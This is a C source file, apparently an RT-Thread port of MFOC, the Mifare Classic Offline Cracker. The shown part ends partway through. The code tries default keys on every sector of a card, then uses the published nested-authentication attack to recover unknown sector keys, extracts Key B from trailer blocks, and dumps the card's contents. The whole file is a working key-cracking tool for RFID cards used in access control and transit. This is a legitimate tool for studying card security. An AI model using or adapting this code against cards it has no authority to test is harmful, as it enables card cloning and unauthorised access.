2
0

mfoc.c 45 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263
  1. /*-
  2. * Mifare Classic Offline Cracker
  3. *
  4. * This program is free software; you can redistribute it and/or
  5. * modify it under the terms of the GNU General Public License
  6. * as published by the Free Software Foundation; either version 2
  7. * of the License, or (at your option) any later version.
  8. *
  9. * This program is distributed in the hope that it will be useful,
  10. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  12. * GNU General Public License for more details.
  13. *
  14. * You should have received a copy of the GNU General Public License
  15. * along with this program; if not, write to the Free Software
  16. * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  17. *
  18. * Contact: <mifare@nethemba.com>
  19. *
  20. * Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
  21. * Porting to libnfc 1.3.9 and upper: Romuald Conty <romuald@libnfc.org>
  22. *
  23. */
  24. /*
  25. * This implementation was written based on information provided by the
  26. * following documents:
  27. *
  28. * http://eprint.iacr.org/2009/137.pdf
  29. * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
  30. * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
  31. * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
  32. */
  33. #define _XOPEN_SOURCE 1 // To enable getopt
  34. #include <rtthread.h>
  35. #include <stdio.h>
  36. #include <stdlib.h>
  37. #include <string.h>
  38. #include <unistd.h>
  39. // NFC
  40. #include <nfc/nfc.h>
  41. // Crapto1
  42. #include "crapto1.h"
  43. // Internal
  44. #include "config.h"
  45. #include "mifare.h"
  46. #include "nfc-utils.h"
  47. #include "mfoc.h"
  48. //SLRE
  49. #include "slre.h"
  50. #define MAX_FRAME_LEN 264
  51. static const nfc_modulation nm = {
  52. .nmt = NMT_ISO14443A,
  53. .nbr = NBR_106,
  54. };
  55. // nfc_context *context;
  56. uint64_t knownKey = 0;
  57. char knownKeyLetter = 'A';
  58. uint32_t knownSector = 0;
  59. uint32_t unknownSector = 0;
  60. char unknownKeyLetter = 'A';
  61. uint32_t unexpected_random = 0;
  62. int mfoc(int argc, char *const argv[])
  63. {
  64. int ch, i, k, n, j, m;
  65. int key, block;
  66. int succeed = 1;
  67. // Exploit sector
  68. int e_sector;
  69. int probes = DEFAULT_PROBES_NR;
  70. int sets = DEFAULT_SETS_NR;
  71. // By default, dump 'A' keys
  72. int dumpKeysA = true;
  73. bool failure = false;
  74. bool skip = false;
  75. // Next default key specified as option (-k)
  76. uint8_t *defKeys = NULL, *p;
  77. size_t defKeys_len = 0;
  78. // Array with default Mifare Classic keys
  79. uint8_t defaultKeys[][6] = {
  80. {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
  81. {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
  82. {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
  83. {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
  84. {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
  85. {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
  86. {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
  87. {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
  88. {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
  89. {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
  90. {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
  91. {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
  92. {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
  93. };
  94. mftag t;
  95. mfreader r;
  96. denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
  97. // Pointers to possible keys
  98. pKeys *pk;
  99. countKeys *ck;
  100. // Pointer to already broken keys, except defaults
  101. bKeys *bk;
  102. static mifare_param mp, mtmp;
  103. static mifare_classic_tag mtDump;
  104. mifare_cmd mc;
  105. FILE *pfDump = NULL;
  106. FILE *pfKey = NULL;
  107. //File pointers for the keyfile
  108. FILE * fp;
  109. char line[20];
  110. size_t len = 0;
  111. char * read;
  112. //Regexp declarations
  113. static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])";
  114. struct slre_cap caps[2];
  115. // Parse command line arguments
  116. while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) {
  117. switch (ch) {
  118. case 'P':
  119. // Number of probes
  120. if (!(probes = atoi(optarg)) || probes < 1) {
  121. rt_kprintf("The number of probes must be a positive number\n");
  122. return 0;
  123. }
  124. // rt_kprintf("Number of probes: %d\n", probes);
  125. break;
  126. case 'T': {
  127. int res;
  128. // Nonce tolerance range
  129. if (((res = atoi(optarg)) < 0)) {
  130. rt_kprintf("The nonce distances range must be a zero or a positive number");
  131. return 0;
  132. }
  133. d.tolerance = (uint32_t)res;
  134. // rt_kprintf("Tolerance number: %d\n", probes);
  135. }
  136. break;
  137. case 'f':
  138. if (!(fp = fopen(optarg, "r"))) {
  139. printf("Cannot open keyfile: %s, return ing\n", optarg);
  140. return 0;
  141. }
  142. while ((read = fgets(line, sizeof(line), fp)) != NULL) {
  143. int i, j = 0, str_len = strlen(line);
  144. while (j < str_len &&
  145. (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) {
  146. //We've found a key, let's add it to the structure.
  147. p = realloc(defKeys, defKeys_len + 6);
  148. if (!p) {
  149. rt_kprintf("Cannot allocate memory for defKeys");
  150. return 0;
  151. }
  152. defKeys = p;
  153. memset(defKeys + defKeys_len, 0, 6);
  154. num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len);
  155. rt_kprintf("The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr);
  156. defKeys_len = defKeys_len + 6;
  157. j += i;
  158. }
  159. }
  160. break;
  161. case 'k':
  162. // Add this key to the default keys
  163. p = realloc(defKeys, defKeys_len + 6);
  164. if (!p) {
  165. rt_kprintf("Cannot allocate memory for defKeys");
  166. return 0;
  167. }
  168. defKeys = p;
  169. memset(defKeys + defKeys_len, 0, 6);
  170. num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len);
  171. rt_kprintf("The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
  172. defKeys_len = defKeys_len + 6;
  173. break;
  174. case 'O':
  175. // File output
  176. if (!(pfDump = fopen(optarg, "wb"))) {
  177. printf("Cannot open: %s, return ing\n", optarg);
  178. return 0;
  179. }
  180. // rt_kprintf("Output file: %s\n", optarg);
  181. break;
  182. case 'D':
  183. // Partial File output
  184. if (!(pfKey = fopen(optarg, "w"))) {
  185. printf("Cannot open: %s, return ing\n", optarg);
  186. return 0;
  187. }
  188. // rt_kprintf("Output file: %s\n", optarg);
  189. break;
  190. case 'h':
  191. mfoc_usage();
  192. break;
  193. default:
  194. mfoc_usage();
  195. break;
  196. }
  197. }
  198. if (!pfDump) {
  199. rt_kprintf("parameter -O is mandatory\n");
  200. return 0;
  201. }
  202. // Initialize reader/tag structures
  203. mf_init(&r);
  204. if (nfc_initiator_init(r.pdi) < 0) {
  205. // nfc_perror(r.pdi, "nfc_initiator_init");
  206. goto error;
  207. }
  208. // Drop the field for a while, so can be reset
  209. if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
  210. // nfc_perror(r.pdi, "nfc_device_set_property_bool activate field");
  211. goto error;
  212. }
  213. // Let the reader only try once to find a tag
  214. if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) {
  215. // nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select");
  216. goto error;
  217. }
  218. // Configure the CRC and Parity settings
  219. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) {
  220. // nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
  221. goto error;
  222. }
  223. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) {
  224. // nfc_perror(r.pdi, "nfc_device_set_property_bool parity");
  225. goto error;
  226. }
  227. /*
  228. // wait for tag to appear
  229. for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
  230. */
  231. int tag_count;
  232. if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) {
  233. // nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
  234. goto error;
  235. } else if (tag_count == 0) {
  236. rt_kprintf("No tag found.\n");
  237. goto error;
  238. }
  239. // Test if a compatible MIFARE tag is used
  240. if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) {
  241. rt_kprintf("only Mifare Classic is supported\n");
  242. goto error;
  243. }
  244. t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4);
  245. // Get Mifare Classic type from SAK
  246. // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2
  247. switch (t.nt.nti.nai.btSak)
  248. {
  249. case 0x01:
  250. case 0x08:
  251. case 0x88:
  252. if (get_rats_is_2k(t, r)) {
  253. printf("Found Mifare Plus 2k tag\n");
  254. t.num_sectors = NR_TRAILERS_2k;
  255. t.num_blocks = NR_BLOCKS_2k;
  256. } else {
  257. printf("Found Mifare Classic 1k tag\n");
  258. t.num_sectors = NR_TRAILERS_1k;
  259. t.num_blocks = NR_BLOCKS_1k;
  260. }
  261. break;
  262. case 0x09:
  263. printf("Found Mifare Classic Mini tag\n");
  264. t.num_sectors = NR_TRAILERS_MINI;
  265. t.num_blocks = NR_BLOCKS_MINI;
  266. break;
  267. case 0x18:
  268. printf("Found Mifare Classic 4k tag\n");
  269. t.num_sectors = NR_TRAILERS_4k;
  270. t.num_blocks = NR_BLOCKS_4k;
  271. break;
  272. default:
  273. rt_kprintf("Cannot determine card type from SAK\n");
  274. goto error;
  275. }
  276. t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
  277. if (t.sectors == NULL) {
  278. rt_kprintf("Cannot allocate memory for t.sectors\b");
  279. goto error;
  280. }
  281. if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
  282. rt_kprintf("Cannot allocate memory for pk\b");
  283. goto error;
  284. }
  285. if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
  286. rt_kprintf("Cannot allocate memory for bk\n");
  287. goto error;
  288. } else {
  289. bk->brokenKeys = NULL;
  290. bk->size = 0;
  291. }
  292. d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t));
  293. if (d.distances == NULL) {
  294. rt_kprintf("Cannot allocate memory for t.distances\n");
  295. goto error;
  296. }
  297. // Initialize t.sectors, keys are not known yet
  298. for (uint8_t s = 0; s < (t.num_sectors); ++s) {
  299. t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false;
  300. }
  301. print_nfc_target(&t.nt, true);
  302. rt_kprintf("\nTry to authenticate to all sectors with default keys...\n");
  303. rt_kprintf("Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n");
  304. // Set the authentication information (uid)
  305. memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
  306. // Iterate over all keys (n = number of keys)
  307. n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
  308. size_t defKey_bytes_todo = defKeys_len;
  309. key = 0;
  310. while (key < n || defKey_bytes_todo) {
  311. if (defKey_bytes_todo > 0) {
  312. memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey));
  313. defKey_bytes_todo -= sizeof(mp.mpa.abtKey);
  314. } else {
  315. memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
  316. key++;
  317. }
  318. rt_kprintf("[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
  319. rt_kprintf("[");
  320. i = 0; // Sector counter
  321. // Iterate over every block, where we haven't found a key yet
  322. for (block = 0; block <= t.num_blocks; ++block) {
  323. if (trailer_block(block)) {
  324. if (!t.sectors[i].foundKeyA) {
  325. mc = MC_AUTH_A;
  326. int res;
  327. if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) {
  328. if (res != NFC_EMFCAUTHFAIL) {
  329. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  330. goto error;
  331. }
  332. mf_anticollision(t, r);
  333. } else {
  334. // Save all information about successfull keyA authentization
  335. memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  336. t.sectors[i].foundKeyA = true;
  337. // Although KeyA can never be directly read from the data sector, KeyB can, so
  338. // if we need KeyB for this sector, it should be revealed by a data read with KeyA
  339. // todo - check for duplicates in cracked key list (do we care? will not be huge overhead)
  340. // todo - make code more modular! :)
  341. if (!t.sectors[i].foundKeyB) {
  342. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) {
  343. // print only for debugging as it messes up output!
  344. //rt_kprintf(" Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
  345. memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
  346. memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
  347. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) {
  348. //rt_kprintf("Failed!\n");
  349. mf_configure(r.pdi);
  350. mf_anticollision(t, r);
  351. } else {
  352. //rt_kprintf("OK\n");
  353. memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB));
  354. t.sectors[i].foundKeyB = true;
  355. bk->size++;
  356. bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
  357. bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
  358. }
  359. } else {
  360. if (res != NFC_ERFTRANS) {
  361. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  362. goto error;
  363. }
  364. mf_anticollision(t, r);
  365. }
  366. }
  367. }
  368. }
  369. // if key reveal failed, try other keys
  370. if (!t.sectors[i].foundKeyB) {
  371. mc = MC_AUTH_B;
  372. int res;
  373. if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) {
  374. if (res != NFC_EMFCAUTHFAIL) {
  375. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  376. goto error;
  377. }
  378. mf_anticollision(t, r);
  379. // No success, try next block
  380. t.sectors[i].trailer = block;
  381. } else {
  382. memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  383. t.sectors[i].foundKeyB = true;
  384. }
  385. }
  386. if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) {
  387. rt_kprintf("x");
  388. } else if (t.sectors[i].foundKeyA) {
  389. rt_kprintf("/");
  390. } else if (t.sectors[i].foundKeyB) {
  391. rt_kprintf("\\");
  392. } else {
  393. rt_kprintf(".");
  394. }
  395. // fflush(stdout);
  396. // Save position of a trailer block to sector struct
  397. t.sectors[i++].trailer = block;
  398. }
  399. }
  400. rt_kprintf("]\n");
  401. }
  402. rt_kprintf("\n");
  403. for (i = 0; i < (t.num_sectors); ++i) {
  404. if(t.sectors[i].foundKeyA){
  405. rt_kprintf("Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)));
  406. memcpy(&knownKey, t.sectors[i].KeyA, 6);
  407. knownKeyLetter = 'A';
  408. knownSector = i;
  409. }
  410. else{
  411. rt_kprintf("Sector %02d - Unknown Key A ", i);
  412. unknownSector = i;
  413. unknownKeyLetter = 'A';
  414. }
  415. if(t.sectors[i].foundKeyB){
  416. rt_kprintf("Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)));
  417. knownKeyLetter = 'B';
  418. memcpy(&knownKey, t.sectors[i].KeyB, 6);
  419. knownSector = i;
  420. }
  421. else{
  422. rt_kprintf("Unknown Key B\n");
  423. unknownSector = i;
  424. unknownKeyLetter = 'B';
  425. }
  426. }
  427. // fflush(stdout);
  428. // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
  429. e_sector = find_exploit_sector(t);
  430. //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
  431. // Recover key from encrypted sectors, j is a sector counter
  432. for (m = 0; m < 2; ++m) {
  433. if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
  434. for (j = 0; j < (t.num_sectors); ++j) {
  435. memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
  436. if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
  437. // First, try already broken keys
  438. skip = false;
  439. for (uint32_t o = 0; o < bk->size; o++) {
  440. num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
  441. mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
  442. int res;
  443. if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
  444. if (res != NFC_EMFCAUTHFAIL) {
  445. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  446. goto error;
  447. }
  448. mf_anticollision(t, r);
  449. } else {
  450. // Save all information about successfull authentization
  451. printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
  452. if (dumpKeysA) {
  453. memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  454. t.sectors[j].foundKeyA = true;
  455. // if we need KeyB for this sector it should be revealed by a data read with KeyA
  456. if (!t.sectors[j].foundKeyB) {
  457. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
  458. rt_kprintf(" Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
  459. memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
  460. memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
  461. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
  462. rt_kprintf("Failed!\n");
  463. mf_configure(r.pdi);
  464. mf_anticollision(t, r);
  465. } else {
  466. rt_kprintf("OK\n");
  467. memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
  468. t.sectors[j].foundKeyB = true;
  469. bk->size++;
  470. bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
  471. bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
  472. }
  473. } else {
  474. if (res != NFC_ERFTRANS) {
  475. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  476. goto error;
  477. }
  478. mf_anticollision(t, r);
  479. }
  480. }
  481. } else {
  482. memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  483. t.sectors[j].foundKeyB = true;
  484. }
  485. rt_kprintf(" Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
  486. bytes_to_num(mp.mpa.abtKey, 6));
  487. mf_configure(r.pdi);
  488. mf_anticollision(t, r);
  489. skip = true;
  490. break;
  491. }
  492. }
  493. if (skip) continue; // We have already revealed key, go to the next iteration
  494. // Max probes for auth for each sector
  495. for (k = 0; k < probes; ++k) {
  496. // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
  497. int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
  498. if(authresult == -99999){
  499. //for now we return the last sector that is unknown
  500. nfc_close(r.pdi);
  501. // nfc_return (context);
  502. if(pfKey) {
  503. fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
  504. fclose(pfKey);
  505. }
  506. return 9;
  507. }
  508. printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
  509. // Configure device to the previous state
  510. mf_configure(r.pdi);
  511. mf_anticollision(t, r);
  512. pk->possibleKeys = NULL;
  513. pk->size = 0;
  514. // We have 'sets' * 32b keystream of potential keys
  515. for (n = 0; n < sets; n++) {
  516. // AUTH + Recovery key mode (for a_sector), repeat 5 times
  517. mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
  518. mf_configure(r.pdi);
  519. mf_anticollision(t, r);
  520. rt_kprintf(".");
  521. // fflush(stdout);
  522. }
  523. rt_kprintf("\n");
  524. // Get first 15 grouped keys
  525. ck = uniqsort(pk->possibleKeys, pk->size);
  526. for (i = 0; i < TRY_KEYS ; i++) {
  527. // We don't known this key, try to break it
  528. // This key can be found here two or more times
  529. if (ck[i].count > 0) {
  530. // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
  531. // Set required authetication method
  532. num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
  533. mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
  534. int res;
  535. if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
  536. if (res != NFC_EMFCAUTHFAIL) {
  537. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  538. goto error;
  539. }
  540. mf_anticollision(t, r);
  541. } else {
  542. // Save all information about successfull authentization
  543. bk->size++;
  544. bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
  545. bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  546. if (dumpKeysA) {
  547. memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  548. t.sectors[j].foundKeyA = true;
  549. } else {
  550. memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
  551. t.sectors[j].foundKeyB = true;
  552. }
  553. rt_kprintf(" Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
  554. bytes_to_num(mp.mpa.abtKey, 6));
  555. // if we need KeyB for this sector, it should be revealed by a data read with KeyA
  556. if (!t.sectors[j].foundKeyB) {
  557. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
  558. rt_kprintf(" Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
  559. memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
  560. memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
  561. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
  562. rt_kprintf("Failed!\n");
  563. mf_configure(r.pdi);
  564. mf_anticollision(t, r);
  565. } else {
  566. rt_kprintf("OK\n");
  567. memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
  568. t.sectors[j].foundKeyB = true;
  569. bk->size++;
  570. bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
  571. bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
  572. }
  573. } else {
  574. if (res != NFC_ERFTRANS) {
  575. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  576. goto error;
  577. }
  578. mf_anticollision(t, r);
  579. }
  580. }
  581. mf_configure(r.pdi);
  582. mf_anticollision(t, r);
  583. break;
  584. }
  585. }
  586. }
  587. free(pk->possibleKeys);
  588. free(ck);
  589. // Success, try the next sector
  590. if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
  591. }
  592. // We haven't found any key, return ing
  593. if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
  594. rt_kprintf("No success, maybe you should increase the probes");
  595. goto error;
  596. }
  597. }
  598. }
  599. dumpKeysA = false;
  600. }
  601. for (i = 0; i < (t.num_sectors); ++i) {
  602. if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
  603. rt_kprintf("\nTry again, there are still some encrypted blocks\n");
  604. succeed = 0;
  605. break;
  606. }
  607. }
  608. if (succeed) {
  609. i = t.num_sectors; // Sector counter
  610. rt_kprintf("Auth with all sectors succeeded, dumping keys to a file!\n");
  611. // Read all blocks
  612. for (block = t.num_blocks; block >= 0; block--) {
  613. trailer_block(block) ? i-- : i;
  614. failure = true;
  615. // Try A key, auth() + read()
  616. memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
  617. int res;
  618. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) {
  619. if (res != NFC_EMFCAUTHFAIL) {
  620. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  621. goto error;
  622. }
  623. mf_configure(r.pdi);
  624. mf_anticollision(t, r);
  625. } else { // and Read
  626. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) {
  627. rt_kprintf("Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
  628. print_hex(mp.mpd.abtData, 16);
  629. mf_configure(r.pdi);
  630. mf_select_tag(r.pdi, &(t.nt));
  631. failure = false;
  632. } else {
  633. // error, now try read() with B key
